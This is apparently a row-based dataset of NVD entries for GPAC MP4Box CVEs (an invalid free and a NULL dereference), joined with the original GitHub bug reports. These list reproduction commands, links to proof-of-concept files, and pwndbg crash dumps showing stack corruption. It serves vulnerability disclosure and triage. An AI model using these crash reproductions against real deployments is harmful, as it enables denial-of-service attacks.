0x47aa93 <gf_node_get_name+51> mov qword ptr [rbp - 0x10], rax
0x47aa97 <gf_node_get_name+55> mov rax, qword ptr [rbp - 0x10]
0x47aa9b <gf_node_get_name+59> mov rax, qword ptr [rax + 0xf0]
0x47aaa2 <gf_node_get_name+66> cmp qword ptr [rbp - 0x18], rax
────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/base_scenegraph.c
1288 GF_EXPORT
1289 const char *gf_node_get_name(GF_Node*p)
1290 {
1291 GF_SceneGraph *sg;
1292 NodeIDedItem *reg_node;
► 1293 if (!p || !(p->sgprivate->flags & GF_NODE_IS_DEF)) return NULL;
1294
1295 sg = p->sgprivate->scenegraph;
1296 #ifndef GPAC_DISABLE_VRML
1297 /*if this is a proto, look in parent graph*/
1298 if (p == (GF_Node*)sg->pOwningProto) sg = sg->parent_scene;
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffff8100 —▸ 0x7fffffff85d0 ◂— 0x4747474747474747 ('GGGGGGGG')
01:0008│ 0x7fffffff8108 —▸ 0x6e1eee (gf_dump_vrml_route+415) ◂— mov qword ptr [rbp - 0x488], rax
02:0010│ 0x7fffffff8110 —▸ 0x10f9bc0 ◂— 0x333
03:0018│ 0x7fffffff8118 ◂— 0x10
04:0020│ 0x7fffffff8120 —▸ 0x7fffffff8610 ◂— 0x4747474747474747 ('GGGGGGGG')
05:0028│ 0x7fffffff8128 —▸ 0x10f75f0 —▸ 0x10eccb0 ◂— 0x0
06:0030│ 0x7fffffff8130 —▸ 0xdba6f0 (funlockfile) ◂— endbr64
07:0038│ 0x7fffffff8138 ◂— 0x1
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x47aa77 gf_node_get_name+23
f 1 0x6e1eee gf_dump_vrml_route+415
f 2 0x4747474747474747
f 3 0x4747474747474747
f 4 0x4747474747474747
f 5 0x4747474747474747
f 6 0x4747474747474747
f 7 0x4747474747474747
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x000000000047aa77 in gf_node_get_name (p=0x4747474747474747) at scenegraph/base_scenegraph.c:1293
#1 0x00000000006e1eee in gf_dump_vrml_route (sdump=0x10f75f0, r=0x7fffffff8610, dump_type=0) at scene_manager/scene_dump.c:2344
#2 0x4747474747474747 in ?? ()
#3 0x4747474747474747 in ?? ()
#4 0x4747474747474747 in ?? ()
#5 0x4747474747474747 in ?? ()
#6 0x4747474747474747 in ?? ()
#7 0x4747474747474747 in ?? ()
#8 0x4747474747474747 in ?? ()
#9 0x4747474747474747 in ?? ()
#10 0x4747474747474747 in ?? ()
#11 0x4747474747474747 in ?? ()
#12 0x4747474747474747 in ?? ()
#13 0x4747474747474747 in ?? ()
#14 0x4747474747474747 in ?? ()
#15 0x4747474747474747 in ?? ()
#16 0x4747474747474747 in ?? ()
#17 0x4747474747474747 in ?? ()
#18 0x4747474747474747 in ?? ()
#19 0x4747474747474747 in ?? ()
#20 0x4747474747474747 in ?? ()
#21 0x4747474747474747 in ?? ()
#22 0x4747474747474747 in ?? ()
#23 0x4747474747474747 in ?? ()
#24 0x4747474747474747 in ?? ()
#25 0x4747474747474747 in ?? ()
#26 0x4747474747474747 in ?? ()
#27 0x4747474747474747 in ?? ()
#28 0x4747474747474747 in ?? ()
#29 0x4747474747474747 in ?? ()
#30 0x4747474747474747 in ?? ()
#31 0x4747474747474747 in ?? ()
#32 0x4747474747474747 in ?? ()
#33 0x4747474747474747 in ?? ()
#34 0x4747474747474747 in ?? ()
#35 0x4747474747474747 in ?? ()
#36 0x4747474747474747 in ?? ()
#37 0x4747474747474747 in ?? ()
#38 0x4747474747474747 in ?? ()
#39 0x4747474747474747 in ?? ()
#40 0x4747474747474747 in ?? ()
#41 0x4747474747474747 in ?? ()
#42 0x4747474747474747 in ?? ()
#43 0x4747474747474747 in ?? ()
#44 0x4747474747474747 in ?? ()
#45 0x4747474747474747 in ?? ()
#46 0x4747474747474747 in ?? ()
#47 0x4747474747474747 in ?? ()
#48 0x4747474747474747 in ?? ()
#49 0x4747474747474747 in ?? ()
#50 0x4747474747474747 in ?? ()
#51 0x4747474747474747 in ?? ()
#52 0x4747474747474747 in ?? ()
#53 0x4747474747474747 in ?? ()
#54 0x4747474747474747 in ?? ()
#55 0x47474747ef474747 in ?? ()
#56 0x4747474747474747 in ?? ()
#57 0x4747474747474747 in ?? ()
#58 0x4747474747474747 in ?? ()
#59 0x0047474747474747 in ?? ()
#60 0x868bc44dfe5d4600 in ?? ()
#61 0x00007fffffff98b0 in ?? ()
#62 0x0000000000417966 in dump_isom_scene (file=<error reading variable: Cannot access memory at address 0x474747474747366f>, inName=<error reading variable: Cannot access memory at address 0x4747474747473667>, is_final_name=<error reading variable: Cannot access memory at address 0x4747474747473663>, dump_mode=<error reading variable: Cannot access memory at address 0x474747474747365f>, do_log=<error reading variable: Cannot access memory at address 0x474747474747365b>, no_odf_conv=<error reading variable: Cannot access memory at address 0x4747474747473657>) at filedump.c:213
Backtrace stopped: Cannot access memory at address 0x474747474747474f
```
| stack overflow in gf_node_get_name () at scenegraph/base_scenegraph.c:1293 | https://api.github.com/repos/gpac/gpac/issues/2027/comments | 0 | 2022-01-03T13:30:56Z | 2022-01-04T10:19:42Z | https://github.com/gpac/gpac/issues/2027 | 1,092,514,876 | 2,027 |
CVE-2021-46239 | 2022-01-21T21:15:08.797 | The binary MP4Box in GPAC v1.1.0 was discovered to contain an invalid free vulnerability via the function gf_free () at utils/alloc.c. This vulnerability can lead to a Denial of Service (DoS). | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2026"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:1.1.0:dev:*:*:*:*:*:*",
"matchCriteriaId": "A713E8C4-E079-4ECB-AF9C-DC0EC80D089D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/gpac/gpac/issues/2026 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC1
```
[POC1.zip](https://github.com/gpac/gpac/files/7802061/POC1.zip)
**Result**
```
Segmentation fault.
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000d43f7d in free ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x400788 ◂— 0x0
RCX 0x110ac60 ◂— 0x0
RDX 0xe0bfa8 ◂— 0xff71f347ff71f31e
RDI 0x21
RSI 0x110ac60 ◂— 0x0
R8 0x7
R9 0x0
R10 0xffffffd8
R11 0x246
R12 0xd0a2b0 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff7600 —▸ 0x7fffffff7660 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 ◂— ...
RSP 0x7fffffff75d0 —▸ 0x7fffffff7610 —▸ 0x7fffffff7630 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 ◂— ...
RIP 0xd43f7d (free+29) ◂— mov rax, qword ptr [rdi - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0xd43f7d <free+29> mov rax, qword ptr [rdi - 8]
0xd43f81 <free+33> lea rsi, [rdi - 0x10]
0xd43f85 <free+37> test al, 2
0xd43f87 <free+39> jne free+96 <free+96>
↓
0xd43fc0 <free+96> mov edx, dword ptr [rip + 0x387f0e] <0x10cbed4>
0xd43fc6 <free+102> test edx, edx
0xd43fc8 <free+104> jne free+123 <free+123>
↓
0xd43fdb <free+123> mov rdi, rsi
0xd43fde <free+126> add rsp, 0x18
0xd43fe2 <free+130> jmp munmap_chunk <munmap_chunk>
↓
0xd3ee70 <munmap_chunk> sub rsp, 8
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff75d0 —▸ 0x7fffffff7610 —▸ 0x7fffffff7630 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 ◂— ...
01:0008│ 0x7fffffff75d8 —▸ 0xd0a2b0 (__libc_csu_fini) ◂— endbr64
02:0010│ 0x7fffffff75e0 ◂— 0x0
03:0018│ 0x7fffffff75e8 —▸ 0x450b75 (gf_free+28) ◂— nop
04:0020│ 0x7fffffff75f0 ◂— 0x0
05:0028│ 0x7fffffff75f8 ◂— 0x21 /* '!' */
06:0030│ rbp 0x7fffffff7600 —▸ 0x7fffffff7660 —▸ 0x7fffffff7690 —▸ 0x7fffffff76f0 —▸ 0x7fffffff7720 ◂— ...
07:0038│ 0x7fffffff7608 —▸ 0x52b08f (gf_svg_delete_attribute_value+324) ◂— mov rax, qword ptr [rbp - 0x40]
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0xd43f7d free+29
f 1 0x450b75 gf_free+28
f 2 0x52b08f gf_svg_delete_attribute_value+324
f 3 0x52aea9 svg_delete_one_anim_value+54
f 4 0x52b1ae gf_svg_delete_attribute_value+611
f 5 0x551ed6 gf_node_delete_attributes+70
f 6 0x52aaa7 gf_svg_node_del+642
f 7 0x47c020 gf_node_del+521
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x0000000000d43f7d in free ()
#1 0x0000000000450b75 in gf_free (ptr=0x21) at utils/alloc.c:165
#2 0x000000000052b08f in gf_svg_delete_attribute_value (type=71, value=0x110ac60, sg=0x10ebe70) at scenegraph/svg_types.c:425
#3 0x000000000052aea9 in svg_delete_one_anim_value (anim_datatype=71 'G', anim_value=0x110ac60, sg=0x10ebe70) at scenegraph/svg_types.c:363
#4 0x000000000052b1ae in gf_svg_delete_attribute_value (type=52, value=0x110ac40, sg=0x10ebe70) at scenegraph/svg_types.c:462
#5 0x0000000000551ed6 in gf_node_delete_attributes (node=0x10fdea0) at scenegraph/xml_ns.c:722
#6 0x000000000052aaa7 in gf_svg_node_del (node=0x10fdea0) at scenegraph/svg_types.c:124
#7 0x000000000047c020 in gf_node_del (node=0x10fdea0) at scenegraph/base_scenegraph.c:1909
#8 0x00000000004797a6 in gf_node_unregister (pNode=0x10fdea0, parentNode=0x10fbce0) at scenegraph/base_scenegraph.c:761
#9 0x000000000047ad0f in gf_node_unregister_children (container=0x10fbce0, child=0x10fe340) at scenegraph/base_scenegraph.c:1369
#10 0x000000000047b27f in gf_sg_parent_reset (node=0x10fbce0) at scenegraph/base_scenegraph.c:1582
#11 0x000000000052aab3 in gf_svg_node_del (node=0x10fbce0) at scenegraph/svg_types.c:125
#12 0x000000000047c020 in gf_node_del (node=0x10fbce0) at scenegraph/base_scenegraph.c:1909
#13 0x00000000004797a6 in gf_node_unregister (pNode=0x10fbce0, parentNode=0x10fb7c0) at scenegraph/base_scenegraph.c:761
#14 0x000000000047ad0f in gf_node_unregister_children (container=0x10fb7c0, child=0x10fe300) at scenegraph/base_scenegraph.c:1369
#15 0x000000000047b27f in gf_sg_parent_reset (node=0x10fb7c0) at scenegraph/base_scenegraph.c:1582
#16 0x000000000052aab3 in gf_svg_node_del (node=0x10fb7c0) at scenegraph/svg_types.c:125
#17 0x000000000047c020 in gf_node_del (node=0x10fb7c0) at scenegraph/base_scenegraph.c:1909
#18 0x00000000004797a6 in gf_node_unregister (pNode=0x10fb7c0, parentNode=0x10fb2a0) at scenegraph/base_scenegraph.c:761
#19 0x000000000047ad0f in gf_node_unregister_children (container=0x10fb2a0, child=0x10fe2c0) at scenegraph/base_scenegraph.c:1369
#20 0x000000000047b27f in gf_sg_parent_reset (node=0x10fb2a0) at scenegraph/base_scenegraph.c:1582
#21 0x000000000052aab3 in gf_svg_node_del (node=0x10fb2a0) at scenegraph/svg_types.c:125
#22 0x000000000047c020 in gf_node_del (node=0x10fb2a0) at scenegraph/base_scenegraph.c:1909
#23 0x00000000004797a6 in gf_node_unregister (pNode=0x10fb2a0, parentNode=0x10fad80) at scenegraph/base_scenegraph.c:761
#24 0x000000000047ad0f in gf_node_unregister_children (container=0x10fad80, child=0x10fe200) at scenegraph/base_scenegraph.c:1369
#25 0x000000000047b27f in gf_sg_parent_reset (node=0x10fad80) at scenegraph/base_scenegraph.c:1582
#26 0x000000000052aab3 in gf_svg_node_del (node=0x10fad80) at scenegraph/svg_types.c:125
#27 0x000000000047c020 in gf_node_del (node=0x10fad80) at scenegraph/base_scenegraph.c:1909
#28 0x00000000004797a6 in gf_node_unregister (pNode=0x10fad80, parentNode=0x10fa860) at scenegraph/base_scenegraph.c:761
#29 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa860, child=0x110aa40) at scenegraph/base_scenegraph.c:1369
#30 0x000000000047b27f in gf_sg_parent_reset (node=0x10fa860) at scenegraph/base_scenegraph.c:1582
#31 0x000000000052aab3 in gf_svg_node_del (node=0x10fa860) at scenegraph/svg_types.c:125
#32 0x000000000047c020 in gf_node_del (node=0x10fa860) at scenegraph/base_scenegraph.c:1909
#33 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa860, parentNode=0x10fa340) at scenegraph/base_scenegraph.c:761
#34 0x000000000047ad0f in gf_node_unregister_children (container=0x10fa340, child=0x110aa80) at scenegraph/base_scenegraph.c:1369
#35 0x000000000047b27f in gf_sg_parent_reset (node=0x10fa340) at scenegraph/base_scenegraph.c:1582
#36 0x000000000052aab3 in gf_svg_node_del (node=0x10fa340) at scenegraph/svg_types.c:125
#37 0x000000000047c020 in gf_node_del (node=0x10fa340) at scenegraph/base_scenegraph.c:1909
#38 0x00000000004797a6 in gf_node_unregister (pNode=0x10fa340, parentNode=0x10f9e20) at scenegraph/base_scenegraph.c:761
#39 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9e20, child=0x110aac0) at scenegraph/base_scenegraph.c:1369
#40 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9e20) at scenegraph/base_scenegraph.c:1582
#41 0x000000000052aab3 in gf_svg_node_del (node=0x10f9e20) at scenegraph/svg_types.c:125
#42 0x000000000047c020 in gf_node_del (node=0x10f9e20) at scenegraph/base_scenegraph.c:1909
#43 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9e20, parentNode=0x10f9900) at scenegraph/base_scenegraph.c:761
#44 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9900, child=0x110aa00) at scenegraph/base_scenegraph.c:1369
#45 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9900) at scenegraph/base_scenegraph.c:1582
#46 0x000000000052aab3 in gf_svg_node_del (node=0x10f9900) at scenegraph/svg_types.c:125
#47 0x000000000047c020 in gf_node_del (node=0x10f9900) at scenegraph/base_scenegraph.c:1909
#48 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9900, parentNode=0x10f9320) at scenegraph/base_scenegraph.c:761
#49 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9320, child=0x110a940) at scenegraph/base_scenegraph.c:1369
#50 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9320) at scenegraph/base_scenegraph.c:1582
#51 0x000000000052aab3 in gf_svg_node_del (node=0x10f9320) at scenegraph/svg_types.c:125
#52 0x000000000047c020 in gf_node_del (node=0x10f9320) at scenegraph/base_scenegraph.c:1909
#53 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9320, parentNode=0x10f9220) at scenegraph/base_scenegraph.c:761
#54 0x000000000047ad0f in gf_node_unregister_children (container=0x10f9220, child=0x110a980) at scenegraph/base_scenegraph.c:1369
#55 0x000000000047b27f in gf_sg_parent_reset (node=0x10f9220) at scenegraph/base_scenegraph.c:1582
#56 0x000000000052aab3 in gf_svg_node_del (node=0x10f9220) at scenegraph/svg_types.c:125
#57 0x000000000047c020 in gf_node_del (node=0x10f9220) at scenegraph/base_scenegraph.c:1909
#58 0x00000000004797a6 in gf_node_unregister (pNode=0x10f9220, parentNode=0x0) at scenegraph/base_scenegraph.c:761
#59 0x0000000000479423 in gf_node_try_destroy (sg=0x10ebe70, pNode=0x10f9220, parentNode=0x0) at scenegraph/base_scenegraph.c:667
#60 0x000000000047dac7 in gf_sg_command_del (com=0x10f8fd0) at scenegraph/commands.c:97
#61 0x00000000006a0b93 in gf_sm_au_del (sc=0x10f6470, au=0x10f85a0) at scene_manager/scene_manager.c:113
#62 0x00000000006a0c24 in gf_sm_reset_stream (sc=0x10f6470) at scene_manager/scene_manager.c:126
#63 0x00000000006a0c58 in gf_sm_delete_stream (sc=0x10f6470) at scene_manager/scene_manager.c:133
#64 0x00000000006a0d03 in gf_sm_del (ctx=0x10ec2a0) at scene_manager/scene_manager.c:147
#65 0x000000000041797b in dump_isom_scene (file=0x7fffffffe654 "free-gf_free/POC1", inName=0x7fffffffe64a "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:216
#66 0x000000000041521f in mp4boxMain (argc=11, argv=0x7fffffffe2e8) at main.c:6044
#67 0x000000000041719b in main (argc=11, argv=0x7fffffffe2e8) at main.c:6496
#68 0x0000000000d09a40 in __libc_start_main ()
#69 0x000000000040211e in _start ()
pwndbg>
```
| Invalid free in MP4Box | https://api.github.com/repos/gpac/gpac/issues/2026/comments | 0 | 2022-01-03T13:18:56Z | 2022-01-04T10:19:42Z | https://github.com/gpac/gpac/issues/2026 | 1,092,505,386 | 2,026 |
CVE-2021-46240 | 2022-01-21T21:15:08.840 | A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_dump_vrml_sffield () at scene_manager/scene_dump.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2028"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:1.1.0:dev:*:*:*:*:*:*",
"matchCriteriaId": "A713E8C4-E079-4ECB-AF9C-DC0EC80D089D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/gpac/gpac/issues/2028 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.phpdrop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1582-g94db9779c-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-mp4box --enable-debug --
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
```
**command:**
```
./bin/gcc/MP4Box -disox -ttxt -2 -dump-chap-ogg -dump-cover -drtp -bt -out /dev/null POC3
```
[POC3.zip](https://github.com/gpac/gpac/files/7802196/POC3.zip)
**Result**
```
Segmentation fault.
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000d6de15 in __strlen_avx2 ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0xe040d1 ◂— 'SFScript'
RCX 0x0
RDX 0x0
RDI 0x0
RSI 0xd
R8 0x1107f30 —▸ 0x1107f60 ◂— 0x100010051 /* 'Q' */
R9 0x1
R10 0x0
R11 0x1111f70 ◂— 0x0
R12 0x1111f70 ◂— 0x0
R13 0x0
R14 0x10a6018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd80db0 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff8370 —▸ 0x7fffffff83c0 —▸ 0x7fffffff8480 —▸ 0x7fffffff85b0 —▸ 0x7fffffff8660 ◂— ...
RSP 0x7fffffff82c8 —▸ 0x6db0ac (gf_dump_vrml_sffield+1108) ◂— mov dword ptr [rbp - 0x6c], eax
RIP 0xd6de15 (__strlen_avx2+21) ◂— vpcmpeqb ymm1, ymm0, ymmword ptr [rdi]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0xd6de15 <__strlen_avx2+21> vpcmpeqb ymm1, ymm0, ymmword ptr [rdi]
0xd6de19 <__strlen_avx2+25> vpmovmskb eax, ymm1
0xd6de1d <__strlen_avx2+29> test eax, eax
0xd6de1f <__strlen_avx2+31> jne __strlen_avx2+272 <__strlen_avx2+272>
↓
0xd6df10 <__strlen_avx2+272> tzcnt eax, eax
0xd6df14 <__strlen_avx2+276> add rax, rdi
0xd6df17 <__strlen_avx2+279> sub rax, rdx
0xd6df1a <__strlen_avx2+282> vzeroupper
0xd6df1d <__strlen_avx2+285> ret
0xd6df1e <__strlen_avx2+286> nop
0xd6df20 <__strlen_avx2+288> tzcnt eax, eax
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff82c8 —▸ 0x6db0ac (gf_dump_vrml_sffield+1108) ◂— mov dword ptr [rbp - 0x6c], eax
01:0008│ 0x7fffffff82d0 —▸ 0x1107f30 —▸ 0x1107f60 ◂— 0x100010051 /* 'Q' */
02:0010│ 0x7fffffff82d8 —▸ 0x1112010 ◂— 0x0
03:0018│ 0x7fffffff82e0 ◂— 0xd00000000
04:0020│ 0x7fffffff82e8 —▸ 0x10f7610 —▸ 0x10fabd0 ◂— 0x0
05:0028│ 0x7fffffff82f0 —▸ 0x7fffffff83f0 ◂— 0x0
06:0030│ 0x7fffffff82f8 —▸ 0x443f20 (gf_fprintf+247) ◂— mov dword ptr [rbp - 0xd4], eax
07:0038│ 0x7fffffff8300 —▸ 0xe3f948 ◂— 0x6c696863005d0020 /* ' ' */
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0xd6de15 __strlen_avx2+21
f 1 0x6db0ac gf_dump_vrml_sffield+1108
f 2 0x6dbb5a gf_dump_vrml_simple_field+361
f 3 0x6dcb89 gf_dump_vrml_dyn_field+1204
f 4 0x6ded60 gf_dump_vrml_node+4696
f 5 0x6e2bfd DumpProtos+2532
f 6 0x6e2f97 DumpSceneReplace+426
f 7 0x6e43d3 gf_sm_dump_command_list+999
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x0000000000d6de15 in __strlen_avx2 ()
#1 0x00000000006db0ac in gf_dump_vrml_sffield (sdump=0x10f7610, type=13, ptr=0x1112010, is_mf=GF_FALSE, node=0x1107f30) at scene_manager/scene_dump.c:588
#2 0x00000000006dbb5a in gf_dump_vrml_simple_field (sdump=0x10f7610, field=..., parent=0x1107f30) at scene_manager/scene_dump.c:775
#3 0x00000000006dcb89 in gf_dump_vrml_dyn_field (sdump=0x10f7610, node=0x1107f30, field=..., has_sublist=GF_FALSE) at scene_manager/scene_dump.c:1125
#4 0x00000000006ded60 in gf_dump_vrml_node (sdump=0x10f7610, node=0x1107f30, in_list=GF_TRUE, fieldContainer=0x0) at scene_manager/scene_dump.c:1666
#5 0x00000000006e2bfd in DumpProtos (sdump=0x10f7610, protoList=0x10f9ba0) at scene_manager/scene_dump.c:2522
#6 0x00000000006e2f97 in DumpSceneReplace (sdump=0x10f7610, com=0x10f9b00) at scene_manager/scene_dump.c:2572
#7 0x00000000006e43d3 in gf_sm_dump_command_list (sdump=0x10f7610, comList=0x10f79d0, indent=0, skip_first_replace=GF_TRUE) at scene_manager/scene_dump.c:2907
#8 0x00000000006e648e in gf_sm_dump (ctx=0x10ed0e0, rad_name=0x7fffffffe606 "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT) at scene_manager/scene_dump.c:3519
#9 0x0000000000417966 in dump_isom_scene (file=0x7fffffffe610 "__strlen_avx2-gf_dump_vrml_sffield/id:000947,sig:11,src:014856+019234,op:splice,rep:8", inName=0x7fffffffe606 "/dev/null", is_final_name=GF_TRUE, dump_mode=GF_SM_DUMP_BT, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:213
